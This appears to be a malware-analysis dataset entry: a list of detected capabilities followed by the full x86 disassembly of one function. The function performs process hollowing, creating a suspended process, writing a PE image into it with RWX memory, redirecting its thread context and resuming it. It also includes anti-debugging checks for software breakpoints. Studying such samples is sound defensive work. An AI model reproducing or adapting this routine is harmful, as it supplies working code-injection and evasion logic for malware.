Function at 0x405310
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Read process memory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d0
mov eax, dword [0x41d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x48c], 0
push str.CreateProcessA
push 0x4176cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48c], eax
mov dword [ebp - 0x4a0], 0
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x494], 0
push str.VirtualAllocEx
push 0x4176cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x474], 0
push str.WriteProcessMemory
push 0x4176cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x498], 0
push str.GetThreadContext
push 0x4176cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x49c], 0
push str.SetThreadContext
push 0x4176cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x488], 0
push str.ResumeThread
push 0x4176cc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x478], 0
push 0x400
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x490], ecx
mov edx, dword [ebp - 0x490]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x46c], eax
mov ecx, dword [ebp - 0x46c]
cmp dword [ecx], 0x4550
jne 0x405817
xor edx, edx
mov dword [ebp - 0x460], edx
mov dword [ebp - 0x45c], edx
mov dword [ebp - 0x458], edx
mov dword [ebp - 0x454], edx
push 0x44
push 0
lea eax, [ebp - 0x450]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov ecx, dword [ebp - 0x48c]
mov dword [ebp - 0x4a4], ecx
lea edx, [ebp - 0x460]
push edx
lea eax, [ebp - 0x450]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x404]
push ecx
call dword [ebp - 0x4a4]
test eax, eax
je 0x4054fe
mov byte [ebp - 0x465], 1
jmp 0x405505
mov byte [ebp - 0x465], 0
mov dl, byte [ebp - 0x465]
mov byte [ebp - 0x466], dl
movzx eax, byte [ebp - 0x466]
cmp eax, 1
jne 0x405817
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x470], eax
mov ecx, dword [ebp - 0x470]
mov dword [ecx], 0x10007
mov edx, dword [ebp - 0x498]
mov dword [ebp - 0x4a8], edx
mov eax, dword [ebp - 0x470]
push eax
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [ebp - 0x4a8]
test eax, eax
je 0x405817
mov edx, dword [ebp + 4]
mov dword [ebp - 0x4d0], edx
push 0
push 1
lea eax, [ebp - 0x405]
push eax
mov ecx, dword [ebp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call sub.KERNEL32.dll_Toolhelp32ReadProcessMemory
test eax, eax
je 0x4055ab
movzx edx, byte [ebp - 0x405]
cmp edx, 0xcc
jne 0x4055ab
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 4
lea eax, [ebp - 0x464]
push eax
mov ecx, dword [ebp - 0x470]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x494]
mov dword [ebp - 0x4ac], ecx
push 0x40
push 0x3000
mov edx, dword [ebp - 0x46c]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x46c]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x460]
push eax
call dword [ebp - 0x4ac]
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0
jne 0x405641
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x4b0], ecx
mov edx, dword [ebp - 0x45c]
push edx
call dword [ebp - 0x4b0]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 0x406], 0x90
mov eax, dword [ebp + 4]
mov dword [ebp - 0x47c], eax
mov ecx, dword [ebp - 0x47c]
movzx edx, byte [ecx]
cmp edx, 0xcc
jne 0x4056c6
lea eax, [ebp - 0x40c]
push eax
push 0x40
push 1
mov ecx, dword [ebp - 0x47c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4056c6
mov edx, dword [ebp - 0x474]
mov dword [ebp - 0x4b4], edx
push 0
push 1
lea eax, [ebp - 0x406]
push eax
mov ecx, dword [ebp - 0x47c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x4b4]
lea edx, [ebp - 0x40c]
push edx
mov eax, dword [ebp - 0x40c]
push eax
push 1
mov ecx, dword [ebp - 0x47c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x474]
mov dword [ebp - 0x4b8], edx
push 0
mov eax, dword [ebp - 0x46c]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x478]
push eax
mov ecx, dword [ebp - 0x460]
push ecx
call dword [ebp - 0x4b8]
mov dword [ebp - 0x480], 0
jmp 0x405711
mov edx, dword [ebp - 0x480]
add edx, 1
mov dword [ebp - 0x480], edx
mov eax, dword [ebp - 0x46c]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x480], ecx
jge 0x40578a
mov edx, dword [ebp - 0x490]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
imul ecx, dword [ebp - 0x480], 0x28
lea edx, [eax + ecx + 0xf8]
mov dword [ebp - 0x484], edx
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x4bc], eax
push 0
mov ecx, dword [ebp - 0x484]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x484]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x484]
mov eax, dword [ebp - 0x478]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 0x460]
push ecx
call dword [ebp - 0x4bc]
jmp 0x405702
mov edx, dword [ebp - 0x474]
mov dword [ebp - 0x4c0], edx
push 0
push 4
mov eax, dword [ebp - 0x46c]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x470]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [ebp - 0x460]
push eax
call dword [ebp - 0x4c0]
mov ecx, dword [ebp - 0x46c]
mov edx, dword [ebp - 0x478]
add edx, dword [ecx + 0x28]
mov eax, dword [ebp - 0x470]
mov dword [eax + 0xb0], edx
mov ecx, dword [ebp - 0x49c]
mov dword [ebp - 0x4c4], ecx
mov edx, dword [ebp - 0x470]
push edx
mov eax, dword [ebp - 0x45c]
push eax
call dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x488]
mov dword [ebp - 0x4c8], ecx
mov edx, dword [ebp - 0x45c]
push edx
call dword [ebp - 0x4c8]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004063c0
mov esp, ebp
pop ebp
ret 4